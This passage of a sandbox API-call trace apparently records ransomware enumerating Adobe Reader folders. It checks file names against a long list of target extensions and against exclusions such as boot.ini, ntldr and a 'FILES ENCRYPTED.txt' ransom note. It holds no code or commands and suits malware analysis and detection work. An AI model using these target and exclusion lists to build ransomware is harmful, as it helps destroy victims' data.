(lpString1=".geo", lpString2="s.js") returned -1 [0264.828] lstrlenW (lpString=".gif") returned 4 [0264.828] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0264.828] lstrlenW (lpString=".grs") returned 4 [0264.828] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0264.828] lstrlenW (lpString=".gz") returned 3 [0264.828] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0264.828] lstrlenW (lpString=".h") returned 2 [0264.828] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0264.828] lstrlenW (lpString=".hdr") returned 4 [0264.828] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0264.828] lstrlenW (lpString=".hpp") returned 4 [0264.828] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0264.828] lstrlenW (lpString=".hta") returned 4 [0264.828] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0264.828] lstrlenW (lpString=".htc") returned 4 [0264.828] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0264.828] lstrlenW (lpString=".htm") returned 4 [0264.828] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0264.828] lstrlenW (lpString=".html") returned 5 [0264.828] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0264.828] lstrlenW (lpString=".icb") returned 4 [0264.828] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0264.828] lstrlenW (lpString=".ics") returned 4 [0264.828] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0264.829] lstrlenW (lpString=".iff") returned 4 [0264.829] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0264.829] lstrlenW (lpString=".inc") returned 4 [0264.829] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0264.829] lstrlenW (lpString=".indd") returned 5 [0264.829] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0264.829] lstrlenW (lpString=".ini") returned 4 [0264.829] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0264.829] lstrlenW (lpString=".iqy") returned 4 [0264.829] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0264.829] lstrlenW (lpString=".j2c") returned 4 [0264.829] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0264.829] lstrlenW (lpString=".j2k") returned 4 [0264.829] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0264.829] lstrlenW (lpString=".java") returned 5 [0264.829] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0264.829] lstrlenW (lpString=".jp2") returned 4 [0264.829] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0264.829] lstrlenW (lpString=".jpc") returned 4 [0264.829] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0264.829] lstrlenW (lpString=".jpe") returned 4 [0264.829] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0264.829] lstrlenW (lpString=".jpeg") returned 5 [0264.829] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0264.830] lstrlenW (lpString=".jpf") returned 4 [0264.830] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0264.830] lstrlenW (lpString=".jpg") returned 4 [0264.830] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0264.830] lstrlenW (lpString=".jpx") returned 4 [0264.830] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0264.830] lstrlenW (lpString=".js") returned 3 [0264.830] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0264.830] lstrlenW (lpString="ui-strings.js") returned 13 [0264.830] lstrlenW (lpString=".love$") returned 6 [0264.830] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0264.830] lstrlenW (lpString="ui-strings.js") returned 13 [0264.830] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0264.830] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0264.830] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0264.830] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0264.830] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0264.830] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0264.830] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0264.830] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0264.830] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ui-strings.js") returned 113 [0264.830] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="uk-ua", cAlternateFileName="")) returned 1 [0264.831] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\uk-ua") returned 105 [0264.831] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\uk-ua") returned 1 [0264.831] lstrlenW (lpString="uk-ua") returned 5 [0264.831] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="uk-ua") returned -1 [0264.831] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0264.831] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\uk-ua") returned 105 [0264.831] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\uk-ua\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315a30 [0264.831] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.831] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x56f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.832] lstrlenW (lpString="ui-strings.js") returned 13 [0264.832] lstrlenW (lpString=".1cd") returned 4 [0264.832] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0264.832] lstrlenW (lpString=".3ds") returned 4 [0264.832] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0264.832] lstrlenW (lpString=".3fr") returned 4 [0264.832] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0264.832] lstrlenW (lpString=".3g2") returned 4 [0264.832] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0264.832] lstrlenW (lpString=".3gp") returned 4 [0264.832] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0264.832] lstrlenW (lpString=".7z") returned 3 [0264.832] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0264.832] lstrlenW (lpString=".accda") returned 6 [0264.832] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0264.832] lstrlenW (lpString=".accdb") returned 6 [0264.832] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0264.832] lstrlenW (lpString=".accdc") returned 6 [0264.832] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0264.832] lstrlenW (lpString=".accde") returned 6 [0264.832] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0264.832] lstrlenW (lpString=".accdt") returned 6 [0264.832] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0264.833] lstrlenW (lpString=".accdw") returned 6 [0264.833] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0264.833] lstrlenW (lpString=".adb") returned 4 [0264.833] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0264.833] lstrlenW (lpString=".adp") returned 4 [0264.833] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0264.833] lstrlenW (lpString=".ai") returned 3 [0264.833] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0264.833] lstrlenW (lpString=".ai3") returned 4 [0264.833] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0264.833] lstrlenW (lpString=".ai4") returned 4 [0264.833] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0264.833] lstrlenW (lpString=".ai5") returned 4 [0264.833] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0264.833] lstrlenW (lpString=".ai6") returned 4 [0264.833] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0264.833] lstrlenW (lpString=".ai7") returned 4 [0264.833] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0264.833] lstrlenW (lpString=".ai8") returned 4 [0264.833] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0264.833] lstrlenW (lpString=".anim") returned 5 [0264.833] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0264.833] lstrlenW (lpString=".arw") returned 4 [0264.833] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0264.834] lstrlenW (lpString=".as") returned 3 [0264.834] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0264.834] lstrlenW (lpString=".asa") returned 4 [0264.834] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0264.834] lstrlenW (lpString=".asc") returned 4 [0264.834] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0264.834] lstrlenW (lpString=".ascx") returned 5 [0264.834] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0264.834] lstrlenW (lpString=".asm") returned 4 [0264.834] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0264.834] lstrlenW (lpString=".asmx") returned 5 [0264.834] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0264.834] lstrlenW (lpString=".asp") returned 4 [0264.834] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0264.834] lstrlenW (lpString=".aspx") returned 5 [0264.834] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0264.834] lstrlenW (lpString=".asr") returned 4 [0264.834] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0264.834] lstrlenW (lpString=".asx") returned 4 [0264.834] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0264.834] lstrlenW (lpString=".avi") returned 4 [0264.834] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0264.835] lstrlenW (lpString=".avs") returned 4 [0264.835] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0264.835] lstrlenW (lpString=".backup") returned 7 [0264.835] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0264.835] lstrlenW (lpString=".bak") returned 4 [0264.835] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0264.835] lstrlenW (lpString=".bay") returned 4 [0264.835] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0264.835] lstrlenW (lpString=".bd") returned 3 [0264.836] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0264.836] lstrlenW (lpString=".bin") returned 4 [0264.836] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0264.836] lstrlenW (lpString=".bmp") returned 4 [0264.836] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0264.836] lstrlenW (lpString=".bz2") returned 4 [0264.836] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0264.836] lstrlenW (lpString=".c") returned 2 [0264.836] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0264.836] lstrlenW (lpString=".cdr") returned 4 [0264.836] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0264.836] lstrlenW (lpString=".cer") returned 4 [0264.836] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0264.836] lstrlenW (lpString=".cf") returned 3 [0264.836] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0264.836] lstrlenW (lpString=".cfc") returned 4 [0264.836] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0264.836] lstrlenW (lpString=".cfm") returned 4 [0264.836] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0264.837] lstrlenW (lpString=".cfml") returned 5 [0264.837] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0264.837] lstrlenW (lpString=".cfu") returned 4 [0264.837] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0264.837] lstrlenW (lpString=".chm") returned 4 [0264.837] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0264.837] lstrlenW (lpString=".cin") returned 4 [0264.837] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0264.837] lstrlenW (lpString=".class") returned 6 [0264.837] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0264.837] lstrlenW (lpString=".clx") returned 4 [0264.837] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0264.837] lstrlenW (lpString=".config") returned 7 [0264.837] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0264.837] lstrlenW (lpString=".cpp") returned 4 [0264.837] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0264.837] lstrlenW (lpString=".cr2") returned 4 [0264.837] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0264.837] lstrlenW (lpString=".crt") returned 4 [0264.838] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0264.838] lstrlenW (lpString=".crw") returned 4 [0264.838] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0264.838] lstrlenW (lpString=".cs") returned 3 [0264.838] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0264.838] lstrlenW (lpString=".css") returned 4 [0264.838] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0264.838] lstrlenW (lpString=".csv") returned 4 [0264.838] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0264.838] lstrlenW (lpString=".cub") returned 4 [0264.838] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0264.838] lstrlenW (lpString=".dae") returned 4 [0264.838] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0264.838] lstrlenW (lpString=".dat") returned 4 [0264.838] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0264.838] lstrlenW (lpString=".db") returned 3 [0264.838] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0264.838] lstrlenW (lpString=".dbf") returned 4 [0264.838] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0264.838] lstrlenW (lpString=".dbx") returned 4 [0264.838] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0264.838] lstrlenW (lpString=".dc3") returned 4 [0264.838] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0264.838] lstrlenW (lpString=".dcm") returned 4 [0264.838] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0264.838] lstrlenW (lpString=".dcr") returned 4 [0264.838] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0264.839] lstrlenW (lpString=".der") returned 4 [0264.839] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0264.839] lstrlenW (lpString=".dib") returned 4 [0264.839] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0264.839] lstrlenW (lpString=".dic") returned 4 [0264.839] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0264.839] lstrlenW (lpString=".dif") returned 4 [0264.839] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0264.839] lstrlenW (lpString=".divx") returned 5 [0264.839] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0264.839] lstrlenW (lpString=".djvu") returned 5 [0264.839] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0264.839] lstrlenW (lpString=".dng") returned 4 [0264.839] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0264.839] lstrlenW (lpString=".doc") returned 4 [0264.839] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0264.839] lstrlenW (lpString=".docm") returned 5 [0264.839] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0264.839] lstrlenW (lpString=".docx") returned 5 [0264.839] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0264.839] lstrlenW (lpString=".dot") returned 4 [0264.839] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0264.839] lstrlenW (lpString=".dotm") returned 5 [0264.839] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0264.840] lstrlenW (lpString=".dotx") returned 5 [0264.840] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0264.840] lstrlenW (lpString=".dpx") returned 4 [0264.840] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0264.840] lstrlenW (lpString=".dqy") returned 4 [0264.840] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0264.840] lstrlenW (lpString=".dsn") returned 4 [0264.840] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0264.840] lstrlenW (lpString=".dt") returned 3 [0264.840] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0264.840] lstrlenW (lpString=".dtd") returned 4 [0264.840] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0264.840] lstrlenW (lpString=".dwg") returned 4 [0264.840] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0264.840] lstrlenW (lpString=".dwt") returned 4 [0264.840] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0264.840] lstrlenW (lpString=".dx") returned 3 [0264.840] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0264.840] lstrlenW (lpString=".dxf") returned 4 [0264.840] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0264.840] lstrlenW (lpString=".edml") returned 5 [0264.840] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0264.840] lstrlenW (lpString=".efd") returned 4 [0264.840] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0264.841] lstrlenW (lpString=".elf") returned 4 [0264.841] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0264.841] lstrlenW (lpString=".emf") returned 4 [0264.841] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0264.841] lstrlenW (lpString=".emz") returned 4 [0264.841] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0264.841] lstrlenW (lpString=".epf") returned 4 [0264.841] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0264.841] lstrlenW (lpString=".eps") returned 4 [0264.841] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x56f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.842] FindClose (in: hFindFile=0x3315a30 | out: hFindFile=0x3315a30) returned 1 [0264.842] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0264.842] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0264.842] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-cn") returned 105 [0264.842] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-cn") returned 1 [0265.020] lstrlenW (lpString="zh-cn") returned 5 [0265.020] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="zh-cn") returned -1 [0265.020] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0265.020] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-cn") returned 105 [0265.020] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-cn\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315af0 [0265.021] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.021] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x37e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0265.021] lstrlenW (lpString="ui-strings.js") returned 13 [0265.021] lstrlenW (lpString=".1cd") returned 4 [0265.021] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0265.021] lstrlenW (lpString=".3ds") returned 4 [0265.021] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0265.021] lstrlenW (lpString=".3fr") returned 4 [0265.021] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0265.021] lstrlenW (lpString=".3g2") returned 4 [0265.021] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0265.021] lstrlenW (lpString=".3gp") returned 4 [0265.021] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0265.021] lstrlenW (lpString=".7z") returned 3 [0265.021] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0265.021] lstrlenW (lpString=".accda") returned 6 [0265.021] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0265.022] lstrlenW (lpString=".accdb") returned 6 [0265.022] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0265.022] lstrlenW (lpString=".accdc") returned 6 [0265.022] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0265.022] lstrlenW (lpString=".accde") returned 6 [0265.022] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0265.022] lstrlenW (lpString=".accdt") returned 6 [0265.022] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0265.022] lstrlenW (lpString=".accdw") returned 6 [0265.022] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0265.022] lstrlenW (lpString=".adb") returned 4 [0265.022] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0265.023] lstrlenW (lpString=".adp") returned 4 [0265.023] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0265.023] lstrlenW (lpString=".ai") returned 3 [0265.023] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0265.023] lstrlenW (lpString=".ai3") returned 4 [0265.023] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0265.023] lstrlenW (lpString=".ai4") returned 4 [0265.023] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0265.023] lstrlenW (lpString=".ai5") returned 4 [0265.023] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0265.023] lstrlenW (lpString=".ai6") returned 4 [0265.023] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0265.023] lstrlenW (lpString=".ai7") returned 4 [0265.023] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0265.023] lstrlenW (lpString=".ai8") returned 4 [0265.023] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0265.023] lstrlenW (lpString=".anim") returned 5 [0265.023] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0265.023] lstrlenW (lpString=".arw") returned 4 [0265.023] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0265.024] lstrlenW (lpString=".as") returned 3 [0265.024] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0265.024] lstrlenW (lpString=".asa") returned 4 [0265.024] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0265.024] lstrlenW (lpString=".asc") returned 4 [0265.024] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0265.024] lstrlenW (lpString=".ascx") returned 5 [0265.024] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0265.024] lstrlenW (lpString=".asm") returned 4 [0265.024] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0265.024] lstrlenW (lpString=".asmx") returned 5 [0265.024] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0265.024] lstrlenW (lpString=".asp") returned 4 [0265.024] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0265.025] lstrlenW (lpString=".aspx") returned 5 [0265.025] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0265.025] lstrlenW (lpString=".asr") returned 4 